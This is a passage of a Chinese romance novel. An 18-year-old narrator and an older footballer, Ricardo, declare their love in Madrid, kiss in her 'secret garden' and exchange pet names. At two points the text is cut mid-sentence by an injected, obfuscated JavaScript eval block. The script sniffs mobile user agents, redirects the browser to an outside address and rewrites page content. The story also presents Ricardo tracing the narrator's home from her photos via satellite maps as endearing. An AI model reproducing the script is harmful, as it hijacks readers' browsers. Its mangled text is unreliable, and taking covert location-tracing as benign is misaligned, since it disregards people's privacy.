“酒精对健康确实存在很多潜在的负面影响。”他赞同道,“远离酒精总是明智的,你或许也意识到了这一点。” “嗯。”我沉吟了片刻,“对于胡安来说无疑是这样的。至于我嘛,葡萄酒可能是我的敌人,但‘啤酒是人类生产的,而葡萄酒却是由上帝酿造的’。而且,圣经上说,‘要爱你的仇敌’。” “佐伊——”电话里传来他轻轻的叹息声,我几乎能清晰地想象出他此刻微微蹙着眉头,一脸无奈的表情。 “我说错话了吗?”我赶忙问道。 “我实在没法指责你。” 他有些气馁地说道。 “什么?”我追问。 “唔……”他犹豫了一下。 “这很难说清。”他的声音里透着苦恼,“要是别人像你这样拿上帝和圣经开玩笑,我可能会有些不快。但那个人是你——我就怎么也生不起气来。” “但我真的冒犯到你了吗?” 我的左手手指在桌面上轻轻敲击,发出有节奏的声响。我惊讶地发现自己竟然有这种追根究底的好奇心,我真心希望这种精神能在我未来的学术研究中得到延续。 “这就是让我无奈的地方。”他颇有些挫败地说,“我对你的冒犯一点也不介意,甚至还觉得你可爱极了。” 我的脸又一次红了。 “哦。”我低声说,绞尽脑汁地想说出几句俏皮话,却发现此刻自己的思绪就如同紧绷的琴弦,难以自如地弹奏出轻松的旋律。 “你总让我无所适从,里卡多。”我半真半假地埋怨他。 “我有吗?” 他是在装傻吗? “你心里明明清楚。你说的这些话,会让我不知道该如何反应。” “会让你不知道该如何反应。”他在复述我的话,似乎若有所思。接着他停顿了一下,说话的语气略微有些改变,“我又把你搞糊涂了,对吗?” 他显然对此心知肚明,却依旧表现得肆无忌惮。 “反正我的脑子已经够乱了。”我嘟哝道,没指望得到一个明确的答案。 他低声笑了起来。“那么,让我来澄清一些事情。”他的声音微微加快,我意识到了他想说什么,我的眼睛缓缓睁大了。“佐伊,我再也不能,也不愿意,让你感到困惑了。” “你是说?”我艰难地咀嚼着他的话,试着理解这些词的完整意义,就像在解一道复杂的谜题。我的思绪完全混乱了,我等着他再开口,迫切地想要确认这话的意思是否正如我内心所想。 “如果你现在有时间,不妨下楼来,我盼望能当面对你说。” “嗯,好。”我喃喃回答着,“等等,什么?你是说——当面?”思绪猝然被拉回现实,我倒吸了一口气,下一刻,我从椅子上弹了起来。 心脏在胸腔里狂跳,仿佛有鼓点在耳边回响,我的呼吸快得就像一只猫。 “你能告诉我附近哪里有缴费停车点吗? 我紧紧攥着手机,电话那头,这个男人的声音听起来依旧无辜。缴费停车点?老天,他一定是故意的! “我在社区的入口,正停在路边,如果你能快一些的话——”他愉悦地说,“我不想吃马德里警察的罚单。” - “你怎么会来马德里?” 我几乎是在刹车的同一瞬间,就从自行车上轻盈地跳下来,气喘吁吁,眼中闪烁着无法掩饰的惊喜。 - 就在五分钟前,我把自己从房间的一端抛向另一端,像一阵风似的飞出房门,掠过走廊,几步跃下楼梯。在索菲亚的惊呼声中(“怎么了,小甜心?”),匆匆丢下一句“我有急事找拉斐尔”(抱歉,拉斐尔,暂时拿你当借口),便冲出了大门。 我简直是心急如焚,意识到骑车将是更快捷的选择,又赶忙扭头回来,去车库里取我的自行车。随后,我沿着林荫道飞驰,直奔社区门口。 我巧妙地避开了车流,减速驶出社区。就在视线越过出口的那一刻,我看到了里卡多。 他穿着一身简洁的白衬衫和黑色休闲裤,戴着一副墨镜,头发打理得一丝不苟,看上去帅气逼人。他站在一辆非常张扬的银白色的布加迪威龙旁,神态自若。 - “因为我想见你。” 随着这句话,他摘下了墨镜,露出英俊的脸庞,熟悉的黑褐色眼睛如同满月一般,从睫毛下望向我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956402|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熠熠发光。 我的目光和他相交,霎那间我感受到了那种渴望——对他的渴望,在我的血管里奔涌着,如同涨潮时似千军万马奔袭而来的惊涛,訇訇作响。 “我还以为你回奥兰多了。”我吸了一口气,有些慌乱地移开目光。 “我确实上了飞机,但目的地是马德里。昨晚比赛结束后,我就赶往了机场。” “所以你说今天我可能会联系不上你。”我恍然大悟,“你为什么不提前告诉我?” “我想给你一个惊喜。我答应过你,我们会尽快见面的。”当我再次回望他时,他的目光不曾移开,仍然聚焦在我脸上,那种光彩,灼烧着我的眼睛。 “我现在完全能体会你那晚驱车来奥兰多的心情了,我不想再自欺欺人,也无法再压抑想要见到你的心了。”微笑闪耀在他的嘴角。 我感到一阵轻微的晕眩,脑海中一片空白,血液在两侧的太阳穴突突直跳,两腮正在发烧。我试图再度垂下眼,只为找回一丝清醒,但他的眼睛一直牵引着我的视线,如同高明的催眠师一般,左右着我的神志。 “如果,你对我的感觉还没有改变,那真是我的幸运。”他的声音温柔得令人心惊,“既然上帝安排我们相遇,那么我就不想错过。” 我完全说不出话来,我的心都快跳到喉咙口了。 他明显紧张了起来,仔细剖析着我的情绪。“佐伊——”他轻声呼唤,“我曾向你坦白,我现在的处境并不理想,太多我无法控制的事情围绕着我。但是,或许生命中最美妙的奇迹总是在最不经意的时刻降临——你的出现从未在我的预料之中,曾让我感到惶惑不安,但现在,我只想流着泪感谢主,感谢祂让你出现在我的生命中。 “每当你的身影掠过我的心,那些长满霉菌的灰暗角落就会被点燃。和你度过的那些时光,我们闲聊、欢笑、倾心交谈,那么轻松和畅然,那些美好的默契,就像呼吸和微笑一样不可或缺。看到你红润的面孔,你时而严肃、时而神采焕发的样子,我的心中就漫溢着无尽的温柔。我情不自禁地想要关心你,珍视你,为你做一切事情,只为你能感到快乐。我确信,佐伊,我爱上了你。” 我出神地看着他。阳光闪耀在他的脸上,他的唇齿间,他蜜一样香甜、醇厚的褐色眼眸里。我全部的神经末梢好像都被切断了,我捂住了心口,感觉自己变成了一只发条拧得过紧,眼看就要蹦成碎片的玩具。 “里卡多……”我低声呢喃,心里一片缭乱,“我感觉我快要晕倒了。” “佐伊!”他脸色骤变,立刻倾身上前,将我拥入怀中,“你还好吗?” “我没事。”我伏在他怀里喘息着。 我拼命想让自己恢复平静,但这并不容易——我的脸颊紧贴着他的颈窝,只隔着一层薄薄的衣料,感受着他脉搏的强烈跳动。他的气息如此接近,温度在我们之间迅速升高,我感到一种难以言喻的颤栗。 他的一只手环绕住我的背,另一只手慢慢地抚摸着我的发丝,仿佛在用最温柔的方式安抚我。我听着他的呼吸声,伴随着他的低语,“佐伊,我的佐伊……”,一遍又一遍,如同一首安眠曲,让我的心跳缓缓放慢下来。 “我没事。”我重复道,声音逐渐稳定。我从他的怀抱中轻轻挣脱,他的手指滑过我的手臂——又是一阵肌肤起栗,然后他牵住了我的手。 “你的家庭医生有对你的身体素质做出什么建议吗?”他认真问道。 “我很健康!”我抬头瞪他。他的脸离我如此近,如此俊美,令我一时心旌摇荡。他向我微笑着,那一丝笑像一束晨曦在他的双唇间跳跃,羞恼瞬间消散。 我用大拇指的指腹轻轻摩挲着他的手背,感受他皮肤的温暖。“刚才那是表白吗?” 他笑出了声。“我对你说‘我爱上了你’,你却问我那是不是表白?” “还不是因为你对我释放魅力的时候,我几乎无法思考。”我嘟囔着。 他将我的手轻轻按在他脸上,表情逐渐严肃起来。“那晚在奥兰多,你对我说,你只是跟随你的心。那么此刻,我也只是跟随我的心。佐伊,我的心已经属于你,你能答应让我成为你的男朋友吗?” 他的目光不再模棱两可,而是坚定地拖拽着我,拉扯着我,带着我。 “求之不得。”我轻声说。 - “所以,你是怎么知道我住在这个社区的?” “你发给我的照片中有一些线索。”他看上去有些心虚。 “什么线索?” “比如说,”他的态度变得小心翼翼起来,“照片里下午的聚会场景,院子里的花草,还有社区的景色。” “这不过是一些生活照罢了。”我疑惑道。 “确实,但它们也透露了足够多的信息。” “什么意思?”我在他的掌心里漫不经心地画着圈,同时催促他继续说下去。 他叹了口气,像是一个不得不公开自己用了哪些小花招的沮丧的魔术师。“我把这些照片与谷歌卫星地图进行了对比,通过别墅的设计风格、社区的道路和建筑布局,最终锁定了这个社区。而且,你之前提到过你住在马德里东北边的近郊,这也帮我缩小了搜索范围。” “好吧,那么,”我直视着他,故意放慢语气,“看来有人侵犯了我的隐私哦?” “我真的很抱歉。”他的眼睛里充满歉意,“其实我一直在担心你会问我是否已经回到奥兰多了。我只想给你一个惊喜,但我做不到对你说谎。” 他仔细观察着我的反应,我翘起来的唇瓣已经出卖了我——我并没有生气。 他的神情放松了下来。“或许我能找个地方停车,然后我们去喝杯咖啡,或者一起散散步。” 我环视了一圈。“这里有缴费停车点。”我责怪地看了他一眼,指着另一头划着绿色线的车位说。 他笑了起来。“我还想着,你也许愿意让我把车停到你外婆家门口。” 我摇了摇头:“这绝对会把他们吓坏的。他们知道你——我是说那个作为球星的你。” 他眨了眨眼睛:“那他们什么时候才能知道作为佐伊男朋友的我呢?” 我轻咳了一声。“已经有人往我们这里看了。”我提醒他。 17. 在花园里 在停车时,里卡多遭遇了一段小插曲。 当他停稳车后,有一对年轻的情侣走过来和他攀谈。还没等我忧虑是否有人认出了他,这对情侣中的男孩子就兴奋地掏出手机,对着那辆耀眼的布加迪威龙咔咔拍了几张照片。 显然,他们被这辆车的华丽外观所吸引,而不是里卡多本人。 “你在想什么?”里卡多穿过花坛向我走来。 “我在想,机场也能租到豪华跑车吗?”我直率道,目光划过花坛里的人形雕像,落到他迎着阳光的脸上,光线多么美妙。 他笑了一声。“我想应该租不到。” “这是克里斯的车。”他解释道,“我向他借的,他特意让人提前把车开到了机场。” “克里斯蒂亚诺·罗纳尔多?”我惊讶地问。看来就像网上谈论的那样,这对曾经的皇马双子星关系确实不错。 “是他。你觉得这辆车怎么样?” “非常酷!”我由衷地赞叹。 “和奥迪R8相比呢?” “我更喜欢这辆。”我毫不犹豫地回答,对上他似笑非笑的眼神,“嘿!奥迪是不错,低调奢华啦,但这可是布加迪威龙!” “我猜到你一定喜欢这种款式的。”他推着我的自行车,我们一同向社区里走去。 “过几天我们可以去看看跑车,你挑一辆最喜欢的,我让人在美国帮我们订,作为你的开学礼物。” “抱歉?”我被我的口水呛到了,“你要送我一辆车?” “对。”他认真地说,“但这并不意味着我认同你在公路上飙车。” “我不能要。”我没理他的后半句话,“这太贵重了。而且,开学礼物也太扯了——” “别急着拒绝,佐伊。”他的声音和他的表情一样温柔,“你现在在美国上学,需要一辆车来代步,这是必需品。” 我郁闷地瞥了他一眼,但不得不承认他说得有道理。我在美国已经生活了将近一年,美利坚除了几个大型城市圈,其他地方几乎可以说是广袤的大乡村。对于日常出行而言,没有车确实非常不便。 “我自己有购车计划。”我拒绝道。 “那我的礼物来得正是时候。”他一步步诱惑我,“既然你喜欢超跑,为什么不干脆自己拥有一辆呢?想象一下,坐在这只漂亮猎豹里,感受它加速时的推背感,那种风驰电掣、无拘无束的自由……” 他诱惑得很明显,我意识到自己有些心动了,我踌躇起来。“可你不能刚和一个女孩在一起,就送她一辆车!” “我愿意送给我的女孩儿。”他露出了洁白的牙齿,笑容中带着一丝得意,“我想要给你最好的。一辆超跑对我来说不算什么,只是我不像克里斯那样热衷于收藏豪车,不然我的车库早就被各色豪车填满了。” 我们往社区里走。这里可能是马德里绿化面积最大的社区了,坐落着各类联排别墅、独栋别墅和豪华别墅。宽阔的双行道像树枝般蜿蜒曲折,诸多美丽的小花园如同鼓胀的花苞般挤挤挨挨。 我示意他把自行车停在路旁,带着他从右侧一条幽静的小径拐了过去。 随即,我们仿佛步入了一片茂林中,这里生长着形态各异、高低错落的橄榄树和无花果树。这些树木的枝叶在头顶上方交织,从而盘结成了一道道穹顶,让我们仿佛穿梭在一条拱形隧道中。那些从泥土里裸露出来的树根,奇形怪状地朝着各个方向伸展着,仿佛是一群被禁锢在树干里的舞者,正奋力挣扎着要挣脱束缚。 阳光的颜色开始发生变化,不再是一种明亮的金色,它渗入了树冠里,转而变为一种带点墨绿色调的翡翠色。空气都被染上了绿意。 我们踏过那些蕨类植物。迷迭香的气味和暑热蒸腾在一起,蝉在树上声嘶力竭地鸣叫,薰衣草和白百合在我们路过时打着盹儿。 正值花期的香豌豆、矮牵牛和旱金莲像流动的火焰,肆意攀爬在灌木丛中,粉紫色、银白色、柔黄色、亮橙色的花朵在绿叶间到处闪烁,偶尔还能瞥见铸铁路灯、石凳和小小的陈旧的天使雕像,它们巧妙地躲在这些植物中朝外窥视。 我们走到最大的那棵无花果树下。天空是清澈的湛蓝,巨大的蓊郁树冠撑起了一片绿色帷幔,其中点缀着几串晚熟的黑紫色无花果,飘来淡淡的奶香味。 站在这里,能看到不远处有一个宽阔的花圃,各类绣球花在那儿弥漫着,一团团,一簇簇,花枝摇曳,色彩变化无穷,有浓稠的珍珠白,柔嫩的鹅黄色,飘摇的粉红色,清透的蓝紫色,奇妙的翠绿色,奔放的猩红色……热情洋溢,华丽缤纷,宛如黎明的霞光那样绚烂。 “欢迎来到我的秘密花园。”我牵着他的手,在无花果树下坐下来,我们并肩倚着树干。 “这里没有人来吗?”他环顾四周,好奇地问。他的神色表明,他已经完全被这片绿影扶疏的幽静景色吸引了。 “很少。我猜整个夏天,除了我和园丁,几乎没有人会来这里。”我等着他转过头来,然后给他一个微笑,我尽量按捺住了喜悦。 “为什么?这里如此美。”他迷惑不解,那表情让我忍不住想要亲吻他。 “因为这里如此美丽,如此野性,如此缺少雕琢的痕迹。” “我喜欢这种自然。”他叹息道。 “文明是人类精心编织的幻想,自然是上帝慷慨的赠礼。”我向后倾斜,朝他歪了歪头。 “有时候,我上午会来这儿读书。这个小花园像是我生活的切点,在花园外的我,生活在人口三百万的都市中,入目所见的,是人类建造的极其不可思议的伟迹——教堂、宫殿、城堡、博物馆……那是一个被西班牙最璀璨文明笼罩的我。 “而花园里的我,与人类最密切的联系,或许就是园丁手中锋利的剪刀和土壤中滋养的肥料。这些植物让我得以暂时逃脱宏大历史的阴影,仿佛我与人类的命运不再相连,我只是我,只需要想想我自己,就如同我变成了一粒种子、一只蜂鸟,沐浴在阳光之下,最大的烦恼不过是如何吸收充足的雨露,或是如何挑选合我口味的花蜜。” 他静静地注视着我,过了好一会儿,开口道:“你让我觉得,你近乎完美。” “在我心中,你也是如此。”我回应他。 “佐伊——”他低声唤我。忽地,那双褐色眸子抓住了我的眼睛,我意外地发现其中竟带着一丝羞涩。 “我可以吻你吗?”我听到他问。 于是脉搏在血管里跳起了弗拉明戈舞,目光一遍遍描摹着他的唇形,那是上帝创造的,完美而丰润的唇。 这句询问不再是一个简单的问题,而是一个无声的邀请,一种对我们彼此的默许。 他微微侧身向我靠近,动作小心翼翼,他的面庞逐渐贴近,直到我们之间的距离几乎微不可计。微风在他棕色的头发上轻舞,从橄榄色穹顶洒下的光芒在他的瞳孔中折射出金绿色的微光。 光里曾有他的原野,他的足球,他的主,一切他所热切渴望的东西,现在,有了我。 他的脸颊下一秒就要与我的相触,我的心跳停拍了。 然后,他轻轻吻了我。像蝴蝶翕动的翅膀,像婴儿柔软的肌肤。于是,我的一半沉到了梦里。 而另一半,那个真实存在的我——全部的血液在那一瞬间逆流而上,直冲脑海,带来了一阵熟悉的晕眩。但这一次却出奇的甜美,是他的味道,柔软的唇瓣,馥郁的香气,是混合着花香的独特气息。 恍惚中,我闭上双眼,用手捧住他的脑袋,更深地回吻他。 我再也无法抵抗他的诱惑,我想要不断深入,就像蜂鸟用它灵巧的喙剥开一层层花瓣,如饥似渴地吮吸着最深处的花蜜。他以更热情的方式回应着我。 他的手抚摸着我的脑后,让我麻酥酥地发痒,这个感觉从发根一直扩散到了两只脚。继而那指腹柔和而缓慢地滑落,指尖捋过我的发丝。 时间的指针一圈圈飞速旋转,直到我几乎以为自己会因缺氧而晕倒——即使如此,我仍然不愿放开他的唇。但他最终温柔而坚定地松开了我,他的鼻子轻轻地摩挲着我的鼻尖。 “佐伊……”他耳语着,呼吸轻触着我的面颊。 他伸出胳膊,紧紧地环绕着我,将他的面庞轻贴在我的发丝之间,无比眷恋地嗅着我的味道。 我的脉搏逐渐平息下来。我们就这样静静地坐着,相拥着,沉溺在蝉鸣的微噪和风波动树叶的声音之中。 不知道过了多久,也许有好几刻钟,他重新靠在无花果树树干上,而我倚在他的臂弯里。 “这感觉真美妙。”我喃喃自语,手指在他的右手指间游走着,抚摸上面的每一个指关节,“这是我第一次接吻。” “第一次?”他惊讶道,“你之前从未——” “从未。”我脸上一热,“你是我的第一个约会对象。” “男朋友。”他纠正我,然后把他的手掌由下而上地翻转过来,抓住我不安分的左手,同我十指交缠。 “我青春期的时候对男孩子不感兴趣,达尼尔说我‘不开窍’。当我真的想要恋爱了,你就忽然从天而降。” “对我而言,你才是从天而降的珍宝。”他说。 我听着他左胸膛传来的心跳声,那节奏沉稳而有力。 “我现在仍觉得不可思议。” “嗯?”他发出了一个鼻音,表示疑问。 “我们就算在一起了?” “我们就是在一起了。我们已经接吻了。”他以一副你不可以不认账的语气说。 我噗嗤笑出了声。 “你当时就对我心动了吧?在萨市的海边。”我好奇地问,另一只手揽上他的胳膊,爱不释手地抚摸着他的肌肤。 他低低应了一声。 “你是怎么喜欢上我的?”我轻捏了一下他右胳膊上的肌肉,追问。 “在夕阳下,你摘下墨镜的那一刻。” “那时候我身上都是沙子。”我提醒他。 “那丝毫没有掩盖你的魅力。你的眼睛,明亮得让人难以置信,像一块海蓝宝石,透出清凉的绿色光;像一只中国翠鸟的艳丽体羽,不仅是美丽,而且夺人心魄,让周围的一切都黯然失色。” “我不想自夸,但听起来,你是因为我美丽动人而对我倾心的。” “不止如此,还有你身上那股生命力,你的勇敢和执著。” “如果你是在说我死缠烂打——” “绝对不是。”他认真地反驳,“我当时认为,尚未开始的爱情也许会伤及自身,但那是安全的,是一种短暂的阵痛;转而避免了另一种更为漫长汹涌的痛苦。” “如果断定爱会消失,不如一开始就不接受它的恩惠。”我若有所思,“所以,那天分别时,你没有问我要电话号码。” 他用左手掌心轻柔地摩挲着我的头,仿佛在安抚一只受惊的小鹿。“我极力调动理智来控制自己。第二天卢卡说要去看电影,我既高兴又痛苦,高兴的是这是一个绝好的不去海滩的借口,我可以远离你这只突然出现的塞壬;痛苦的是,我无法追随那令我魂不守舍的歌声。” “我有这么大的诱惑力?”我睁大双眼。 “有时候,你对你自己的魅力一无所知。”他叹了一口气。 “但后来,如你所见,我那天的逃避是徒劳的。看完电影,我故意带着卢卡在商场里转了一圈又一圈,直到卢卡提出想要回沙滩找‘佐伊姐姐’玩。那一刻,我心中不禁窃喜,我告诉我的理智:‘这是卢卡的愿望,我得做一个好爸爸。’但实际上,我想见你的愿望比卢卡要强烈好几倍。” “那一天我也很难熬。我等了你们一天。”我的手指肆意地在他的大臂肌肉上游走,带着一种报复般的调皮。 “对不起。”他愧疚道。 “先别急着道歉。”我轻蔑地哼了一声,“要不然,我预感你今天可要说不少遍‘对不起’呢。请继续说。” “然后,在冷饮店里,你的那群小朋友意外地揭露了我的身份。我遇见你的时候,并没有打算向你隐瞒什么,只是觉得既然你不认识‘卡卡’,那我就只是‘里卡多’。所以我当时很不知所措,特别是那个金发男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956403|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩,他只差把‘佐伊马上要和我约会了’写在他脸上了,我心里很嫉妒——” “你嫉妒布洛迪?”我好奇地打断他。 “你还记得他的名字?” “哦,我们加了WhatsApp。”我感觉到他放在我头顶的手突然僵硬了。 “他只是躺在我的列表里,”我安慰他,“我没有和他出去约会过。” “我知道。”他停顿了一瞬,“嗯,是的,我当时很嫉妒他。他长相英俊,和你年龄相仿,他没有顾虑,可以大胆示爱。当你们站在一起时,所有人都会觉得你们很般配。” “你现在还这么觉得吗?”我故意逗他。 “当然不!”他的手接着动了起来,当指尖轻触到我的耳廓时,我不禁微微颤抖了一下。 “你是我的。如果现在又蹦出来一个二十岁的小伙子想向我宣战,我会让他知道,我比他年长的这十多岁代表着什么。” 我用与他相握的左手更紧地握了握他,鼓励他说下去。 “嗯,我本来在苦恼该如何与你继续相处,但你真的让我大吃一惊。我没想到你会直接向我诉说心意。我心里乱成一团,觉得你是一时冲动——只是短暂的激情和荷尔蒙作用,要不了几天就会冷静下来。你才十八岁,对于我来说几乎就是个孩子,我也经历过十八岁,我知道这个阶段的孩子们精力旺盛,爱欲疯狂,根本不清楚自己想要什么。我很怕你会掀起一团狂风暴雨把我淹没,然后你轻而易举地退去,而我被搁浅在沙滩上,承受一波又一波噬骨吞肉般的折磨。 “这是我最隐秘的恐惧。我忐忑相似的剧情会再一遍上演;我害怕你真正寻求的并不是我,而我脱离罗曼蒂克的氛围显露在你面前的时候,你会感到失望。我接受不了这样的风险。” “你那几天没有联系我,是真的想要我们的关系退回到原点吗?” 他迟疑了一下。“我当时很矛盾。当你去看了我在米兰踢球的视频,我的恐惧加剧了。其实毫无道理,对吧?毕竟谁都会为功成名就的自己骄傲,但我却害怕你会更喜欢二十岁的我。对于我来说,每次和你聊天,都像是打了一针稀释过的止痛剂。我原本想,或许我可以成为你年长且可靠的朋友,在不回应你感情的同时,尽我所能来为你除忧解难。然而,你却告诉我你愿意站在现在的我身边。 “当时迸发的喜悦几乎让我无法自已,随之而来的却是怀疑。我不停地问自己,你真的能喜欢这个剥离了所有光环的真实的我吗?”他苦笑着摇了摇头,“小家伙,我怕我现在有多么欣喜若狂,将来就会有多心如刀绞。我不知道该怎么回复你,我在祷告中寻求指引,一遍又一遍地问主,我该怎么做?但无论我如何祈求,答案始终没有出现。” “然后我来了。”我喃喃低语,“在上帝的第七天。” “是的。”他的声音里透着一丝释然,却又夹杂着些许自责,“当得知你独自一人在深夜来到奥兰多,我真的气疯了。不只是气你,更多的,是气我自己。我不敢与你划清界限,仅仅因为贪恋从你那里得到的那点快乐,可我没有想到,我的胆怯会给你带来如此不必要的麻烦。当我再见到你的时候,我简直用了生平最大的意志力,才没有冲上去拥抱你。” “那个额头上的吻——”我忽然说,“那意味着你的心墙开始松动了吗?” “对。”他叹息道,“我重新见到了你,听到你在我耳边说话,诉说你有多想念我,恳求我对你敞开心扉,那副神情,那种气息……上帝原谅我,但没有比这更贴切的比喻了——就好比被牢牢禁锢在戒毒所的人突然被释放到一个种满罂粟花的美妙花园里。”他自嘲地笑了笑。 “如果我还能忍住,那和圣人也没有区别了。从那天起,我越来越难以抑制对你的感情。那个吻就好像一个开关,一个宣告,象征着我内心理智的决堤。” 我将他的手抬到唇边,轻柔地吻了吻,用这个小小的动作传递我的安慰和理解。“那么,你现在还是会感到害怕吗?” “会。”他承认道,“但这种害怕是出于爱。我害怕自己习惯了你的爱,你却可能在某一天离我而去;我害怕你会厌倦,或者突然决定与别人共度余生。也许正是这份恐惧,让我对你的爱意愈发强烈。 “基督徒面对世界时,必须在宇宙中不存在上帝的恐惧和上帝真实存在的喜悦之间做出抉择。但即使是最微小的可能性带给我们的喜悦,也会远远超过上帝不存在的可能性带给我们的恐惧。也许爱情也是如此——它拥有一种异乎寻常的宗教般的激情。 “佐伊,我现在宁愿心怀恐惧地爱着你,在未来的不可捉摸中浑身颤抖,也不愿重回无爱的平静之中。” “这真让我震撼。”在一阵沉默之后,我近乎耳语般地开口,“我以为我是更爱你的那一个,没想到你对我的感情也如此汹涌。” “我向你袒露了我的全部情感。现在,在你面前,我毫无防卫之力,就像马戏团里被绑在木板上的蒙眼者,任由飞刀在他肌肤几毫米之外飞过;而这些刀子,全是我心甘情愿交到你手中的。”他牢牢地抓着我的手,关节因为用力而微微泛白,就好像我的手是一块浮木,一面盾牌。“你让我觉得我的生活不再是一片充满灰烬和空洞的废墟,它开始变得绿意盎然。” 我翻过身,俯向他,将我的脸慢慢贴近他的,发丝滑落,轻触在他的脸庞。我的目光深深望进他的眼睛里。 “里卡多,我很难表达出我现在究竟有多快活。即使我能把诗人们的爱情诗倒背如流,可我依然觉得,那些华丽诗句在我此刻的心情面前,失去了所有光彩。你完全不必担忧我会更喜欢十年前的你,因为我眼中所见的,是无数个你,皆是由那枚灵魂投射至尘世上的光影。我如何爱光影呢?如此虚幻,如此易逝。我虔诚所爱的,唯有经久不灭的魂灵。” 我闭上双眼,犹如一只眷恋枝头的倦鸟,把额头轻轻抵在他的前额上。“亲爱的,我爱你,我会一遍又一遍告诉你,无论是用言语,还是行动。因为你是你,因为你只是你,而我看见了你,所以,于是,我爱上你,一次又一次。” 18. 称呼和狐狸窝 后面的时间里,我们亲吻了无数次。 我撑起上身,手臂支在草地上,承担着我一部分的体重,而大部分的重量则安心地交付给里卡多。他的手稳稳地环抱着我的腰,手指搭在我牛仔裤与上衣之间的那一小段裸露的皮肤上,目光则紧紧地锁住了我的脸庞。 我爱极了他蓬松的棕色头发,光滑的额头,突起的眉骨,深凹的眼窝,他麦穗般纤细浓密的睫毛,颤动的眼皮,眉心与高挺鼻骨的交汇处,两颊的晕影,他被我深情啃咬的、染上一抹胭脂般血色的双唇,他刮得很干净的下颌,他耳后那片敏感、薄嫩的皮肤…… 我的吻落在他身上每一寸我能触及的地方。 他喘息着,不断呼唤着我的名字,用葡语和西语交替着喊我“亲爱的”“宝贝儿”“我的甜心”“我的小狐狸”…… “我喜欢你叫我‘小狐狸’。”我在亲吻的间隙对他说,沉醉地嗅着他的呼吸,那因我而变得迷乱的、温热的气息。 “还喜欢我叫你什么?”他柔声问,右手从我的腰间缓缓向上,轻轻掠过脊椎骨,抚上我的后脖颈,指尖的温度能让我整个人都燃烧起来。“小蛋糕?小甜饼?” “我的家人会这么叫我。虽然听上去有点甜腻,不过我很喜欢。” 他浮起一个弯弯的微笑:“那‘小天使’呢?” “也喜欢。”我喃喃,“但我更喜欢这么叫你,我的天使。”我忽地咬住了那双让我着迷的唇。 “你也是我的天使。”那唇和我分开后,透着晶莹的色泽和些微红肿,开合着低语。 “里卡多。”我轻啄了一下他的额头。 “我的小猫咪。”我亲上了他的鼻尖。 “卡卡。”我在他的脸颊上吧唧了一口。 “这是你第一次这么叫我。”他的眼睛扑闪着,眼珠深处有微光一闪,像是刚冒起了一朵火苗。 “‘卡卡’?”我重复道。 他轻轻“嗯”了一声。 “这个昵称很可爱。”我又在他另一侧脸颊亲了一口。 “你这样叫我的时候更可爱,甜心。”他的手指从我的脖颈滑到面庞,来回抚摸着。 “我在网上看到,这是你弟弟小时候对你的称呼。”我向他求证。 他点了点头:“迪甘小时候发音不准确,总是念不出我的名字,所以就只喊我‘卡卡’。” “小孩子喜欢念叠词。”我甜丝丝地说,开始亲他的耳朵。 “卡卡——”我含糊不清地喊他,舌尖一点点地舔舐他的耳廓,灵巧地游走,打着转儿,从耳轮滑到耳窝。最终,我张开嘴,含住那因为兴奋而微微泛红的玛瑙色耳垂,用唇齿轻轻地吮吸。 他因突如其来的刺激而低低“嘶”了一声。 “你真的会咬人呀,小狐狸。”他的声音逐渐变得迷离。 我陶醉于他此刻的模样,真是爱极了他因我而生的,那份微妙而难以名状的慌乱。 我回想着某些电影中的片段,将气息送进他的耳朵,把我的语调放得悠长而充满诱惑。“你喜欢我这只小狐狸,也喜欢被我咬,尤其喜欢这样穿着衣服、一本正经地被我咬,是不是?” 他的吐息遽然急促了起来。 突然间,他扣住我的腰肢,将我往前一送,在惊呼声中,我跌进了他的怀里。 “你这些都是从哪里学来的?”他意味不明地问,用坚实的臂膀把我紧紧固定住,让我蜷伏在他的胸前。这会儿换成他在我耳边说话了。 “你让我觉得自己像个洋娃娃。”我咕哝着在他怀里扭动,寻找一个更舒适的姿势,他则体贴地帮我调整。“冬天我一定要抱着你睡觉,你的体温真的好高。你是一个随时散发热气的小太阳。” “看来我又多了一个昵称?”他带着一丝玩笑的语气说,同时用指尖轻轻地在我的腰间搔了几下——我躲避着他的触摸,忍不住咯咯笑出声:“哈哈,不要挠!好痒!” “你还没回答我之前的问题。”他敦促道。 “嘿,再怎么说,我也多少看过一些爱情电影。”我微微抬起下巴,略有些得意,“在中国的国际学校读书那会儿,我有个要好的女同学——她是一个开朗的中葡混血儿,和你小女儿的名字一样,也叫伊莎贝拉,——她和一个中国男孩约会了,那男孩非常腼腆,所以我陪着她一起钻研了不少经典的爱情电影,也看了一些带点激情戏份的镜头。” “激情戏份?”他眉梢轻挑,“我能不能认为,你那时候窥探了一些不太适合小孩子接触的秘密?” “在中国,电影可没有分级这一说。”我无辜地看着他,眨巴着眼,“而且,我纯粹是抱着理论研究的心态。” 他哭笑不得,用下巴在我头上亲昵地蹭了蹭,就像一只大熊在宠溺地抚弄自己的宝贝。“我应该让你照一照镜子,明明是一只狡猾的小狐狸,却总喜欢装成纯良的小白兔。” “狐狸可是伪装高手,总能利用自己的皮毛颜色,在环境的掩护下悄无声息地潜伏。一旦它们锁定了目标,就会迅速出击;而且能持续追逐,耐力惊人。所以,你叫我小狐狸,我确实有点像这种生物。”我分析得头头是道,“至少,我们瞄准了猎物之后,都会紧咬不放。” 